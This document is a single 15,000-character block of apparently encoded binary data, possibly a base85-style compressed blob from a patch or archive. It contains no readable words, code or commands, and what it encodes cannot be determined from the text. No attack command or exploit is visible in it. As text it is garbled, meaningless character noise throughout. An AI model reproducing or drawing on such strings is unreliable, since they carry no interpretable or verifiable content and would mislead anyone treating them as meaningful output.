zvhqvcVjx}TKP+1LZ*{wXeQu46`vh^G%%0d6TTVJ4-$|52gFs^!m+ux^h7vN-;I zMzPDK_C7Cn6V3}f==P+~&q{5Pdw#pbLCVPDRs%6g@@|DJVy~4+Ez#DE$Gt#$T(c-aTCeLs#9~+& z)MC8&Fp2^|aAMx~3&^;<8=aUh6|jR?929p1vCCwCQY4N21j6)9Y5z*Dpq|<94wfxM zZON+>fc_2-O!&d%VvDdTa0+QQvHoZYc3|#H0?zvWS+YEsA>4JuNzIAt`L&~5H&ED4 z)=Qx{qQ#h@RZcrNy!j(8`4+cKSH83@Bxn>ye6=9Ghc*O4x940S~&g#6}*rlmr}i0 z;lwG8g14|<$2KCj1lT;_yff|~0EVc_ds>cLKJi6dw*%WOLW6BmKo>3s2&t3h{rGAV z79$E@L6jaxjmuY9qOH7PX+)g;%jb2Sui*aMZJ$%+KFeFNrdEDufME_%&K%$CLu<_` zMm1cJ=eIUAV0Y|THKa!$Vh`dt)Es&k5J4Uo<2GXPyL}dm2IQ|1EOGIhxa1@3l^kE0 zoD<9ckoA3y=xcMg)~vUm7g7g(;q*%2O+bE~YqL*_-?BH)^YLBsB-z=c@Ig^m#khmu zC5|J#VOzRK5t5+_=NK4&-HwpbUBNKQD{DfikBc&|api`a69Q{&^OdwZ`{-{6TB3g~ zIZCPRx53^Wp<}9X#B3`-MmZ-*|-p!tsvs@}M|b#2~TO73DkR#vpPW!{UQ19r>vV>ZmGeA98gAV;T zLI8dr;JoLERQPPj>~VyYJs~0Ejc1|76RBubp3OgUp?+ z^&>i(_{5?5{_xbMQ|oVa_mA|xc8|9{&Fw1a9i#1cD{P~xl+f|u>=a$yLcNg!Gf7(H(jX*|({@CnYJ1|E2 zXLo@GQ*L3kb@4fan1t-3t~aHA`E!$?etUpr)OSKQV=SxEt$8@%$8$T)#U`f%u1_s! z@OAWH7-oI1YvB**&biA)%kPJo)TEkt0Ab7^Aj;bX;lMk{<`XwPoII%X8oHZ4PQ&ie zanaQ?R{Zqj|6s7M^iF>RfibS1Ef!r&qlhU(qZ!9r2jE`VEmTeJUx&)#NIS(-`?&~B z#O<~LeKIe>VF{$Ko+R(L_5!59*mTM#XQqin^p}F}OgkV&GH}iK)Hmpd_ikw zf0f4jQ&9pnJ_XfHfZu!cX{z8u&Y7E+`;bVppy5tOvY+_l>>Zm?z)D@hT*nkBpvi*zEmk{I;J7_qyM zdHM;t@YSOD4y2MRq>PvOCZitf*nXD+*vQkT2Nw~TS5y*+O9hoorB<1}e38$5ETEeR z<~kVEFcX5xVpK%<*9H-$5gJMOdFxmlMgw1tZ!Iflz1#YyS`DRYqadg4%eYFfk*i;x zJ$RAcoJTQx`88jT0#DJVEa#=n+dgHTHGzk}gV$UfQR|U+Z}JDz1eve}M$ZN#$OqU)lZHbKMJfT~Pe1-{tThnEXkPfsSpP@n z&#w$I#Dh0G&jw3N3l3pvr#s2`1G3&G%RgS=BNhpo?e`^Q<8 zT)qFY483?aU!YGNQODEBImkOZj&dfy{8+a|1zX4)mDP=5b`eecgD7B2d*%TgU^@Xh z`+JsQw1J#DfKrgnCojU&uicG;9EXP58HDy>D^&r+#nW(cLOFF2rI3vMC5pNR-79Q2 zRur2S7bGWsfdVXJbmJtzFj|g)Z2GC|H$Yxq<{bhc8X(!+aXTkJK>rE4U3e4n`|=^T zJkM1mbtw>6yEBuaiM6e3-pvW?x}YNuecddAh53LESo7fVdWVFAScs3kzGu$Ll(!cW zY~rX}+J#;}0bc2(ed(;v#evpnk-?rvkM+MM^0f}xi*_-so)-UzeRiy2fbQ8MUr>Mw zNc8o6{wk&O$V5&rh5>#I$Z03tQNHmR=9M}!xd4#$kdbVh)VL!2JlPOLv0BjPp`de? zX2wG4C+aJ)hefxII3&~I?ISa5DcHL;gXfKEvWLjrI(wAvATMh;SgS1kqa!@hP9 z^Z1}#u|UgUf3$!~jQkZwax7HQ;@vb@es%Ia_2TlM;a_hB!q<@r8sN@@rRu)m|Z^nt|9613k= zu)aNP%%yvh!u55Ux^cm{WX85u;XvU4{7}a^^3*B~Z=OZ?Dbg zs#P~9E{0im)0ssdXMSup#scO4+rBBqj8a~j&#ac-Wpzx6o6rv{S+kPPLUq*Fbmq@T ze093ChGxtlil;N+^g$Qoy2PIp{F_|B{>}uFJ=W@WfD$1L%EG_;i;KpNjQkTVRKYvJ zD!VCN8&Qqh1IL3rC_p&>_-wew%mI}DwMz-FTkwBKMiMI1y^pHyMdLx}`;p-uEv|K8 zQ5sQA;X6@PTO~UOW2CYra$g-Wo(c!7TT5fSSI9>(l$iY#OK!Y1^0;E1dA~F%2^D&7 z2`Kfj_RQ@TuBw_cgiuB4-tP0#ezJM1^`5*Lv5C`!ga^f?=QTO_YOfm3VV$pQ7fDgNuF1* zns=a_8br{}Fa|HWNQk%m;uJp}UK-rzB!xIUAjf&P)?3yVWHz6ArYpNly%8rg=o+9O z2&)ri z=zkB|&5Zx)YbVbG&f4K7po0hqrvAM+Meq~IpF{XWJ29pGCUQ4GLV!&a9R3GW^j326 z3gru)UDyEQ94eOd{x^^dVYQvgRdES6Ldx0G%v z*eTa_Y9sU!m|*jqero+1+7tIa)ExZV5Q* zn{0uY>T{cNwAUGsgst;p4Td4wVu<4VRjb7Avf>0m&E2tCA8_%ci_Gp=>{Ft(UD=-5?l-#pRZn zUiTaTRRb^c+Kt|pZ1xi0AS5^Ky>VC?99zJjGSHWR+^o<87;s6MMFS5-wM2OqLu=~$ zgjCreF%QjnJcA+A<`y7jIhsS>Zj-?n)A3asd7w-ZC7&7_yAx|l2l|T5`7Fy05@v&y zIYmTj*}!$1u<-)Ks&vaNb05-mKEz?mQIBdffi$S;j1G+55p-wBy{rLT}fmZYc1M z%};TdvakGnMBz&1^e%&cd@2()qdT}V9`iq(*m3M(wXa8mcRJzSWYA=*8k^b7U z4862-i0XIS3Rbht}SZYf9V^dN}Vqoghn=*i{d`c2UM-h-+d>!02p z$PRStm%fN)%qHgx+07U{F5JI4zr4|V+5{NO1s@D#=d~}|7FGjGj(zq?9s#7+oBPLU z!cPGWrnL%bAA{j)lkmJHtIWZKB%zf{tC`Igl_QMZEZdcd&h|sCA&JiFxsaE(!x+4 za9paeS~iekNME> z%Mp7ji$^A}p?cuXypWt-^;qIqG_hOWw6aPf&v6d^ie=8yuEhZCvkX$_bR@Lj z3+UkCSIQZEMVyK7pW3V}CANTpED=-urO7+j+d>KUROc55*qjO-T|!TniVTCk!JE>F zYmUMi+CuphW+Fq%dPJJMVVM-QTzEMx4-*RT!E*^ZK>MstO$0Dl*}LIrHv28<2mZRs zNP~O|=3mnfdO|Sfxxw0=MqR>;m2xNnnBjSz%#Uj?-Wg<|F!X1RM4DPeX6`Cuw=zN0 zJUBAB-ts#0n|70E3zO!gsyJDq)(R?Sq3;aO#*0Y@4cB!PZkDon<9Q!=j|tMYK1GDR z3YbHqy^GEYZ&+(ia@Ha2FsNS}wXg=pVCXba9Qu?sQ@5YU%Nn9Alt-8wfB%67&SuNS zE!(t|fA{*Tj>@W)Ib-+%UqZdtugx%Di%J7Caa4bvJne=&f)6D|drp`A!WaWDBZbvR zuAY~9r7tz4&{VoMyEtD@*20ka#9<@vhZ%usC}`=Uwrt1HWS{pY@1B8Wd*#9NP1@w# z@`44ts9>YI;A9wf>QUY|TxNDCuy_&R?q8N!<&7VK111@&N*gP^5tx2MXf-q#C)J^5 zJ_f(cQK}nQs!m?#B0bD5BNe-z+b{+HqpohR)m!#D0+`B4=HjTviI|=5x9Obza_9Cq zC^q#EC1T{zEYN-i3h516{R1zTgPGzt-jYr$@S^3U@kSqt23-$^_ZRE1U4EPA=Jb4K zwk2~m(ZUrhe5@Tz0SIHoZ{?R&qdz599pW|YVxo-N$5#t z0(R>XI9gFd4C)?RivcWY0VQp>Mi|9VIY(f08*d<^Zb)^GlCeX(KYjm(p>z@=z2*h= z>X;2Y;dDKVja*guyN;LA&DwjisEc19&{4;+rh!XvGDo31YpFI-UQ9>9iPp(eY3g(I zlSu)D*}c7~-y#>ffe#Dz6~RE+l0zy^WP|-uzV#kWBOziyr?)Cu1q(URnrk3`ES69D zMwwXepbPQT^R6=nL^|$|uRP z>I*FotN`hxht0?j^fpbi4FgZywl?Gg2vGf`JP=rjNW$4H$!^;E5dAT@mHVk`x&!P# z=Na{NTGy!*g=2+$PIFDlsaBsw{LPfk73Op0ncT1T=A<4IvShLt2@R&~Rmo?_yZ=%G zn5XM@Gfd#339rAO^7IB09iB-QO*&+zCT27!h^oNm@HuFAtIef4U_N5oHpv$}0y-?B zF5eqHZ#YNhr+gR#=X?&!zv=NevfnLIqP)|wd31$?|VIo`GN!=xL-I`cOiamcsyIY&e zx@p}uIVx2t68w+{$8YXG&&AGf&00x!C=*?4CF?xSv=q}?2XQA&E7q~Wt+@+*6`=K4 zVKkd`z-`u*jP))`g zs&f!5rI@Iqr6k<-8_@A(W$~1RI^N5vdPA6nEnsuHY20<*?vvL$FodxLB77;QCf~GkE5*NYAjCnY9+G|?_Y;!hK1UJBG9OC?ewA2OPDLZW zS&Ecnf>g431I!LMz~)mMsCEv(Q8~vr_y%K2&sKL7C_xQ9MPthmZq5mD zWvy0o>5tmGGW~P*<|S{bI}(4^?Uqnk0c(v({aB~!7g`5;(lPP6{~>|!-PYx2@TP)3 zQ$3HdU%^;P68_X``~gV%_oQ-;Jsuu1b%g}~+QmyJTr@nKX7pV)kyVvV)%ZZ)xf!8X z@*XW}(w|?!w*v3|6iE_+K%!yh>YiNhxuTOoh(7hRg#m_Fr3U#-_C5mM<7{{;Cc7Hf z)&^{j^UM^YIH91bohZqx<4Ec+cYtR(hG(-*H5Eg9O9IIV#{gJ|JNUp6Do3+!KJn3? zTY3zUbzaBzI9uhhqb=jeZ8PJ-jF@Ygo6k|e`b^uS+}t+VJur3esn$le*5;#j3v+#g z@^>g(Kk=&Bgsi_5z)lJzgAYT~54TV1V7#t_Og>g@FWlfJ4&=F%{Ql&asF$e399fWZ zrqlr}(T0vZM5VvxdWk{q;dQ2Dd=ieLKdTCnHiY~b^~7_&`9uC%&Hb%_e<9Zo5zBZx zZ>@z2s#;|_SEMw~{X_NhbJ=LIv2O|Qk|x&q5K2IOLp5$=rl7UYC+2TnkLR=xYtC}r zY~iv?nv87h&>EXj=xlCXH4PZxV*c@-N*?-=bQ{jctmkvuhK`UVngxGq;&_juYa&it zigWBnxT5g8d#RSH`UyVD-QY6)BObzoq)PpXLKK4#wenfco6 zTHNOx2UD?^G)s=kvdIJsnJvAF?aC{dFa#AexW_|R=2!i-54MFhAaYtb$c7b zO_HxJgd9*GH_W4}^q$fd=a;_x=J(7oOT-gDq?1Evw2G+=T4zdq6A1KS z%@)H-xg*F8U6^{NSfvzCk6DYR(2q9baH0C6E6ZyzG1ajwWHBl=qadmkg?sYdxfhJ} zTMK7RBVN334FblVp?rsXW-%fUyD858-QnW^#o#2ldivX;?*2m3%Y<^dwuVnbr!wow zOxHwbFg&+2Xsg7l!ZlrbEe|&5#u3v}D{5fhd&m;YKkttmK36QKJF_=24ss&vL4I0q z#$ySbH=tv@M@wk8B-bQ4-^*?slg!YsqlO(4wX1A%IsYO@o`9U+6||e>Lk~s|f=^;K zZ1pwYP}C()a4s(Eqq>r~oH!{IWSY5Cb4#AS$okt18DGBr9E=jcH9VX2O07`cV^?jX z>{CB$rbWd(6$KFQUc5EYbVwq+8VwF)2z5 zA*yV|l;sr3hH1TBj}ojrm;}Ci(wT>fNvb=pt=3DH^Wit*$(%Aot?H&qxaEXbJokIQ z2zv`J+^=Wn9|(3CJS@0V9kd!D^+26%BU`^#ia*%RZ@v+rdiK2-&RH%oe9w71dMM-OdAhTDN#xivb<0XrT$xBIT%;(Jg0NF=30>CuIELca z)2UJ_!XLnma%?(93*kIYH(A!$ywcBZkeBygw6L5)3>oTWtae+ds(lhE)xx2^n|}yd z#o3a7HokMZG_{srdgA=CJoA1`tD%}^BM}SP(%O*OM$qH2vCnnER{c>ghHDOa^pQh; zlB;Z~p=b^YQ04l#sJJiFygiW6g%*7#y&Y>@8`eFl@&*rv(-Ft0 zH_R(XeolKduCi}k2{F-5D(r3_{hldayE7in+jS~?7|!r{CU|B)&Pw!mV5Fh5;)Kmn z=Of^|a$+?q?l=bq+irgE+O=i0Q>}opJA5~AKW&?|&8?2?VApZiRw3s&*ENs5ZWmKa z>nSRyCH1~#OP;f>zgjN5Mx}PWI-H-EPkvH$n-HwmHPgLPdGL5RhTc<)tL;z=Bhv&n!HI}6%3*SjQdQHpVe?g{Xa^X88h)J5X5UHVC&_uqI>y0`CB zap#0)ktVnD3D{-)T%GgDOsg#K>)JbRrW-s{n?%Q=L*p@Xzijr;*-Bv|&!Y41riZWm zv^Tgr$4(qCvMm0u1HEo30QN9Va=OwmjiYcj$BGC&qtQeC@>xyxr7+1mX-ebRwz*p@ zqwkCA37%%Q!Un$j3~N8w7X%+BN^Z+1RjwPJEBobxrX|V%kM1f%P+NK*LN~3?;+Bqo z9wBgJBrHG)NS!S;9@#STDk3o5xq6=u!}+FJB6&m+=_84|Gw}v=lC$khHXzhxmC1|n z=X?ZoZ{4?t+?i{Jty=K1PBPRaWQai)SEojRy-@zrdHyL2j{rDJ9~YFda%;0~cuDL7og+rv+`FfUK&+}Xy4%dTA)1?Oy-APz$&-sAE(I?a*OBQM| z)Qiwv8_&w)(-M_t|4;j8_M^UK+AU|3+q{@pCa z1jtR7u7;;xw`d`4Je@@CLOrvyf>e)M3#((TJ}W!^=hi*nL#DraTa+TMEe?c7C+vVu;@8WA&6 z$wl5pHkS`z0I}ilU%qHhRlrKZHmRTWCOSzowl88a>s0o)Y5q2)pHn|G30ULiLqko* zN>}PX$ZYp=cGXw{^3hvcyP1tXlM@~7w9DxWR`a{@f)h*sE{nWiG!kMVOJ$xkt0T!BjDx7+TUMwLh*YA308io~g!1oi6S z9u*Sgo*SWsZ3x++QOxvU8BcZLVZ_JfRFNW~?6O|9v8#%lHN<**Og~buE0i^b={fv! z=pR?_{T7q}zLQzYowx-)mR+igfx!z7AhWBl^hoZdy2BGeN^zF9Y!1x1<3VdG8CqAzlX_lWhFl47%ql^$rv392a`{4Gk?zXGrIjYn@hy zb%#!4zNCtkuHniN16H3lvIO}^Y5gBy}~{U zmgc=mAz_ZeSsEtsr#;QrCZR{D#nNvuJ<#}%qU|eyq$WBaNbZOLQ}=N@D7ay!BPxl%l(&`sd44|Pp3SBfXc3QSjjJ3B^K7x0YV->KJey7%~yrGPBt~hGecfY>ipXRGE zv>Olno)W9~eQX*}C__8h2cQ{RlIPA{=(=>&jdS=-@Zn+ZaV$@X$%ISZ2|G&M)4MQS zPbXDQ4_73;RWp^m%kj##LAyDd&K?=T+xKssO}Yu2{$v&E#(!LA{k2f>i00Fe_2g2u zR+&Np9`CF0_lR>Uew5BT_|kSr<>$e0`g^VR(=$J zCBJ2l+wCkS`C0q;cSU}Pf#EKmx!#-oT=)=EhDPqlKq8?>VuLa0$~UN8Xr?xw0`3|x z_QFfpZF$m2{DxwL`K8=@o>GXereKOnxa1{Sk83(kb=!bF#n~WHd=`%x$7L%PiE}A_ zdSewZ$b7%q<}^T`tuX665Pl)R>UoIAL*UdRZ&oPYm?6#iN@9TdX%1OiM$1@b{^9zN zsE189CaGG8`D>muTC)Om1@F?7_EL;MBV?l}syeAo*-Kq8ar!iX#&;l9p3)(1Px<&% zrrf%C$%FZ&l!H#r;u6pWFRed(^)6P(TIYKar=>8vYX<7Z9)$$Or`8p|P3W7udFSI*+b9>ow`DErNIOBvTEby$mO;2d#H_in!FzMEUqmyIxQI^MG_ zg)o*XB!>Tua8ytXZCp(J{VO0~&(}x$C!Y6WzZ9GSd-7=7{`6A11!B<=>F6ZTWYmx+ zpLw!02kILwRRF08V6GODQ9=iA+H-$yehnR)?Atl?Qge%ga;cj~@E=nbG#7mnZIdm> zXA-XnB~U6H^Z~xLAiRrh)%8ph&M%PLqKI~Fev=*0RLiy~P z=Onq4h#)|eXIYqtpc z2RRi&`+uqsk$fMr7fe`g07SNsAR;|I?wO`c^yn?SO{Vo z_lnam2{`hw%B5Z99}XDD3}kq{Kqt*Az7#T9jpVEc^wPEP1uGqe-6{vbsnH zFPhO3B`wH|AtcV2V-Hs;Ystc)Q0a;}z7iBR!qz$4*s}fYI@{zWjCvG{=uHpsP_#F? zk)K&^MH0G(mnB-^jdUw@Zi(K+R-(nym+ht-q9jG!(O-3S7TJ=|YA^M~KZkO4>qeDY zu)l3HA*ba>K-J346fDzDOM?xok|b*BCgd*2xqRg*=lWK^(40R@2;K@ezyk|i_<2(*Am&Y)x@ zC&@NJB`cvpaukr9GYCk|Ip++LbAAO*_~!d&ocH6c_iNTdmupGizPE1GsZ)FJvrpUD zeWQG6PXeU`rFafB=wni1PX4v>A;x?fY5MpCy<}M^YbSNdOdiOJC#bG2d>v6SEnhjJ zG@w_|uVj`$byHoIsCb;j*9>6!sgMZ{+ye3SD!1VEpCttp|)~A}0glkNQ5aT@^gpwOJc8GmyrOBv1s&h09Tg z$aGhBa4!|I<5(POzYzP(@l0*LCo}L;aL^i2o%}b?(+q@SuW4{oq%$cseqA?1v!KLg zuW88Pm%gODw>v4PpQifXdOU!y+^32~@5DrTvQ>=`Qfa@EhR#Q$(9;^zf zSymE18~6CO=px*`KV)QjxM%B&n}WX-DR{zAORQF0RV@U1Oa2N8xgaFKPOd6lHwegkLAL??s__JamyIBg+mI+4V|R6n1zL#pir81)^0 zMC2Rmgqd;O%XKF|DvjXJxRfJNCRRQhgc68rVi(Aj z3n(-LJ~}O>47n|-@Lyt_)LPZNp02MqgevLGNiJCP5i+*k?OBx7lMzhXtqoXD+w6*c zdIZ;`xBDzHD?2-U%9;#O^P=;Wi)u?{X!x?DiAa*znFJWeX0CYi=#!M(HVkOt{P}5Pdnxti>iRGM!T6PR$)=y)Xt3+2gYZF>D#)NszNu30ayo1oajQ_}*)SS1Qq|IFyls8x z+b6{BiBET3xvd*z6RE^lcj(ka{j-TuIq)?rmn_lTQuyibPT5w$ zRv=ezoj!$nu-X>=Wg2cRskP;j%%*(#Wl_su9CsplB4_)`esR1oNaCrQ6(K}o+itze z<&ZBoojeZLcPUqY`6D1uo7e7rvs$e<@=KY@Sn^xSSjv8Izo|sgJQ;R+G@iK=7`=U( z>4~{vOwEvf*t3}zHj!MB-W2{oLhRGaN`X`|TE9Mv)*bZ-oioJRrzUiXiXI0I%M#^7 zesQV%69$izZ4NcT{JJ|Js(hk&-7zDZpYouMp7AaQ^b#_TfYuBDk~2Y zW>8EvXi>q2)+1y4y4Jh|;F%Cx(JQTb>r;-K3W@1>Dv@K;?c zWyMx*c5m@=S|j-cEIpf{#XX5Dj3idY(|!(U8*6x#K5rat5>_aZ9cuSrvPn`*BRR@G z-l_!GDIC|O`BkK=v)#p8A*gQNe4%s{=ripoomBNw>BB;Wea2d4$VWEVElf8x!uYY8 z*R8G${n^)eEncu86YvdtKSN^VaP?y(5tRm-bab04aXlstaSG_nodPdP#{!~3iJ2&~ z=x!(lRJMf5VR_!Iv+W z&(Tj@9|EboXQimsLPFlS@6%L?JK)p(v>7%Yoq6(MX$qj0PO4X!Y=-!>0q?y2#wtVK?^MBt>sv{p zvtLu$1B`EY8qNngk!i-iQb)-cT5cRPElF`h=|^$2g!gG`;|2p`tKO^}#Y$N>^w{;q zB&H3q4$Ct+5PaRXATD$?+WjH-7F|inV37i^WGKLs#62X2cx@sToy~a2%9Kq(Yuj^7 zn~fwAGi>3Z&C8?9hHghiG9RAzF@`PDEjOn{Y)ZD9K90}z3VEAD1IK1__?mtr9_#u} zQq}GJ5Fn+GDHM`X`Bo*2r@XUPnGijymJ)1j$@>8%Xb+GG*Ig$f{+MJW%UujF(M!lI z&f+1|&;Ud7Fb2NFROk~$YC$wM@`2dlO*B_;p2$`r z(gGMB=gUT8sP5EH33dWop4p@O8+v|qWW4f9v>_Br?_6n zsNWCgOysC~d+STo#x@2`CGFAEKRwKN1Vc26N5`ieEtDLF9wx&d< z@L2cx9-3XA&o>7BYNLQeGoICjy|<^|TugWPmY7x)5A>a8&xKB`Tx>8^6<(<``r!x} zJJiPvi{t{8=Huye^x>EU=aw+`!wY6o(ohW~36f?7qK|q8JFn(o;Y?*b^It_`4rK^n z>s0JhS3JFhcIQTnTiA_;yF&3Nnt5ySSc-9yx!w8w4MZw$0vb1iJBzs9U&83Zg+jjO z8h9({zaD;-@mcqrT{*Z9KcjcC6ZAU&+B{)2;Z6Yvj^)ckuYeoEDYv;E62Zc*!M5UN z4OyF|b6w9^U9>n6yIIxN|+!16a*@ zJim1{;PPL7?T;UZ`~6{%>7HE-a=^7eU-*xoxP)OL^taV{Megsb(^dOVxAL!_fPT7v zKB!*jcywrBlXQ^R=bI5!=>Kx_fBM8F~#2)>d_wmn9KpJlR{ng0+@74V8)%@Di{W|8+kD@$>)1UL#ExJOU23ODT+b9j;ulDk_garJmg0?(kaC=}CwMI@YyhSiqI1 zzz(I*WEHfK=-?RpZ7?_X2D=OdqdFp}6o41x^mTyFS;6O;d12c~OL7L@o~ z`SYI^4V%^AjRK?iJLN%*8vyN|F{wPkx2-3$EdiR>QQouT+|vV>{Yh-#7$wDp8)TH0 zZT~hCSS@q`vZ^yZw`~ZiKgiG1e))Hs7<3I|Guf@DI_+W?%b#(6?B4jgc0lU`*{IXr z=o+`}>QCT7N$5ZfIQaw?Q@(PZ6fQna%LkYH7m z?t=3-aO!s&*qE*_1x|-Wac={7csG8$HVKxK7b}t7jSwmUK5;GirsHGfTW$J<-_agN zr@n~^@*a2G@&$%03L_vNy@BJBSq%K!sz5uG`Pen*lf#nF_n(!FpW5i`ogPsX0e{95=w zKmxY_jAtwh59Y#?MB-;(e!zRusNuo_t}N8YD<_9N=qdCXi^X44yMLw<#_n)(>rcuZgy+d& z7HY)wJ+ocLZQzye@dT8otHp#A=eBWo10xBo6pZs$Nrek>-ldFcB}Kqy@KLYE5T?gC zXwx(b^rwp`#aFm{-_iGqfxT9-wt;deuwVR+cgG@N7~Jbfu!8#MIT(-WY0b?$%mR|( zaA$e`^kj`Au#DAClE@7m+hh_rC68*lR1BY=!4=qjaGe3#SXv7FdYcb>g|{*RI40Hg zY*bPn745hw_GuM~guk_n-!B+C8kfF2pdeZ9wZ?17;f5wec(El#utdoc|o| zzr<%Gy9jiRTQrgL7q4O9$B|oE@PdWPOe_sFfFG1G05yYwRTWO?ZoJzl+jd?Kx?T+# zVk&})jk@rvlRo1nBiemAdWgKC`G7VW+I0dPU{%@yhdwWWrinnyCS0$MdeY#V12f?Q zhxMwXn&JEZ{eEI#3(#PwFf`5m<<TkV$S0Iy#NXU z=8RX6?@A2fpN*Q78rL}C6b>00?KRx@w_mQC_NTaeSPtg$=$OM=IGx~oa<1PD1W31i z{*Z3Ff^P*~=yg^@U;Ayz<`UuLyU%N!*%vQ&CrN3h+nR-1?p$#nT3b)cZNr~VotfxW z(6FR%-j6K>9Rb~R6#6ps20yEdNQ({!|4ij%J43l1SUJhuby34|o25&+@H6mcJ>>lJ{W(_&F2LtphLLlMQbs zJ__Yx58~I@Nm1M_kxskOCxgJ6yB1bFL%>3TS2l#Lx0%25Znelv<{M&G18dfXQO7OVs%@o8_e$v+-QxYu%|NvF+#AZ(yS@jEii@dHv`nr|xw!6yWA=zRI4wWW zt@@t_l#{MFAb0kWWV1+o+2~8MlSYhdopu5Rh7+GePC0*jOl`P{f^67SNbZ}h26E1(}q_>-k%fea$#3l3lkB11Bg zX*u79hq`ZUmhHt9|IFW}p5lzg)EJa=ebBtq``UHQ&5fE*FNGEbKs#Yp-Im*h4V2!p zw`ih%p9^@vqpUv}-X^+;#$l?aB9-9Q9zfXhe=L9*G<&!c{?G)o&e#NrNrZ!d$y(0hYoBsr7OnOwn~Ket*%ca{0^q>-?iC!iFhwD;#fk2la}9;abTQ=S(Mt;0kfk zpl&$ZmC_-@RC}ZE_nt}`TEU#BhKw>TLGfr*VaLzmLet|%biBIiMbDVIuO9rC6?tySZg!a3`vqP!@XDKdRiFrLBG?Xh z7*~PfCtLG+bu4mr*1_4d26O=Ln?T*9ku<|5=agA@1YuHjZLFMBb^hva^9lc7yB5eN z{=RF?dr7Cji_Ujh(4wn)O|GZ|u(Lq&&~ma@$zK9iL5*C=tvS#<>c&rjw^kAk5P3St znB!LKD)71gmMkj{jo`7%>D~h6jGlxZgRi_>)j$?Sy3dAO2c9fqw{YU4qV1O+7B)Tz zKj5T7YvVimIXMelI=Y$c=n!>=?)}VY_`jW^>F|q@<^0pgVpQuz-63S4F3B#`4@{=E zoj_u9t%TSDm-ixY^>RvkAadAU%#8`>G=C+$m{QvfwB$wLDPjdW3^A%-W+A76``#pY z5Q%fc;u7Ge-dw+PvNv8z9rAOn&YxnYWoJ5T8|9=x*R}4C&uIH^waj7j0Lw>h$2NKgWoZvU0vU%tv;bv~kV9$)U<~hrivQ zd{&eqQ)%=FwrK{uXgp5yuIW>+2FXb75`B=a1Q_^_?;x+{oY?YP9(P$}9wDM^?9ryuY;Rm`saV`BcBv2B1Md6uEQaQX{ulC5~m$9YSY zWeRN)?Ami6pn997w78sZ-6-7Y8^)mQV_4nk*SIdsIGL06fy^fP32^reqqV6%LGYRlQK z85Dgs8t1n5ov%Y%f}B28OBhWjv%y2@VJWFTlXwx{6;Q2GoRfHu4g$>N_)KzJ*=-T9 z{2;IcI}9bjix$74j|NKdeK~9)dtzgTV8~8TaXy$GnWzFGSttbO)sRr)Ld6$&a`FRGYSdg!%(`3Tsz=H%6^3HJtG`vYU2A-2ueG|!Qb-yvOHlBy%~Q5OU!@ zNaBx#{BSXU%ezzwV`QOo&WUJJH8#^}h80@PM;+-Eg3Oei zvz_=i8T~tW6z+^1b_z;K+Ug+#PHO9c?q+nqmpPc;MUgf`wfy;M;~5o)YbG^#95|?3 zPNT*-jbD*EBey_|TrLKh)KTlDo`=D0)FG+_ig!;RW|8-(I~2Mf5sRQVJTeCxs6`-+ z)ULb*u;v!X+M9@41!qBR44D%bX*`3OXFmV`|(sR&h_tZBl-R63R~pvHksm>g1Bygk5YpMs850JT2CwIW760_e_FhxL^T@8 zh=oB>AKtmp_)*YO!=P~D=5Mwy=qD94yIz5BnD60=ux#B;4N&c9RC^oHAX)rlUPzpx zjPt}qEmOTbqAk7h^!+MekgqVHV;5mllvPs38iuIZSlf({ zcCY*}M)kme=3>`!&B+yFRWq&1J+1rggi(s-wS=xG*P~M!_Q0iI^9=I8v$Fr(A9Rz3$kaOSv9J%Q_5h}-4&2v$rV2V$IuL;e!CF>4QR*}p*DF8duS^Yl6Uc~G9p!8dDf1C zO=TH$H2GW-!2IfmC_tD@kIG4p_SVK}Gr&=&ip=agvdSXk34l6=4PbqbOzM2@AQ!l* zTfqyjI(UF3t)?ZjOYXWHcglK_^R1eoDWw+J;4sp3r0zjbwcQrP=Z}_ln*iJ8aFK>XtD35^FoprE)F!fC z1+PFA-;(Bc;rkLs(~VDTlRrEI%VPa^=^|{^eP`PP=n>UCOVHWSuWG-J6Uz97>j$9D zBKK|(C#TclH4cz07J-)1bKh7DCK;w|{__zUD7r=nI*LyBH*SuC^Ue&nmHwJ=wPYms ztgb4*DJTfL;|W)!FZQYV1%dT^)Q3%POw%093RC0Ttnr!FaXqv8-PJGSXiH3ln?88^ z`NfoGp~=<^X-+NL-@O2IrK-;%8fK=8GZAkhv?j|g1q{><$N3~^3R-il=}c9yJ^L~_ zO+fg&%>5EtD;$mmpRRM7#zO)tHvIm?=DTBFS^0ZZE#CMqnJh4>?QwN)RRFv=#4Gmw zYp^0#!A;r6zCgL64L-fRykuR%i*lR)d;-%~!2n<#IRo2a zzLZsa)Tk<`$Wre0V!qBTO2nmjA>d;We~M+EXH(0(Tm`!ERY^qg^n$)0v%(j8s{g#0 z^CZxeb!D4<+t?I{`-``JrW*k6D z)mgn&squfee&EYDLfMU#vsxB7kjw+;nd;~{n%0ZDV{A-Dm8uGdws>hrZrq~2ublfz z^fv2NLAF~KB1b1?=pLz@BGNoe*oT72h<|QUpld(lqb9sKpLuML_j1 zzDh{}2G3aQ_K;P^lz_YZIS#=|zrhg|l+o%V!qQ7i36qgl#TATuKF^ z;#F$^5t~>eH}L*)^3liqHR|Y<7aZ_l(1()O*;l;aiX7sU$${_`Sqrc>&rf73{Yg?3 z=TX?YZs1WBXj-7R2e=vg=7fW}7kMBkU`DKLA)P#(+((3qL|-^R+smGVv@DolM;Be72R&bYroy_ z`q9m9R*M<7RRC3)x$M_ai~#$@poOG-Nxt2I*CyVu0*jNQJzLOwH0?Zu8&P{4otv5b z>%LA$sd)%UNa3QeZFl$pRUB&LMUYPxcs|bDk)NQjY8CMRW}u!go|I*3$?HmYpUT-- zYbeX;2_S8@5Cd`q3xKJzY3JGUQL$f490k-nAr{wckj!W^Q{`Rf%sEZ);O4_7M@P&b z6O91GVfEx^mebpck*f8{8aIJ@Vve~{Vs&r~Xr73u z9|B48mR>7czu8rWEO`8~O?6cEL)~%bqx90lr5gfw?o3h%wuG|O#H}0j#^iL32DlaO zjk{DHEo(5@g36vy;BnXnVIU;A$JBvZV@}swNEGB@b zz7k47s^0$XCmj=LJZBG*$7iNLZ0kTxUsAP&Tv~@o4TO-3VqO)dS`xG6pei@ zL$gDo&*|Eki3MY>lAtP zYl^VL!QNl|-9ApD6x7wEB~%uy@||pZ2b?O`V4?{dfCM8^vtuMFHor@&ogBv|5ln^q z$4A@UQY$Y9+qvc=hCeKh6eAXaLj-KOpAieapRWar^o@Sfu^#gP`51o~O56`jRaY!? zrIOR*c}tQArahgb62x8be%)nE*+wyw3o-$iC&u zB-ChLviteIReCJ^)iz*z-tXAN`?52Fg176ayJrSz;orJ#)N~kD)7rE`OEeV 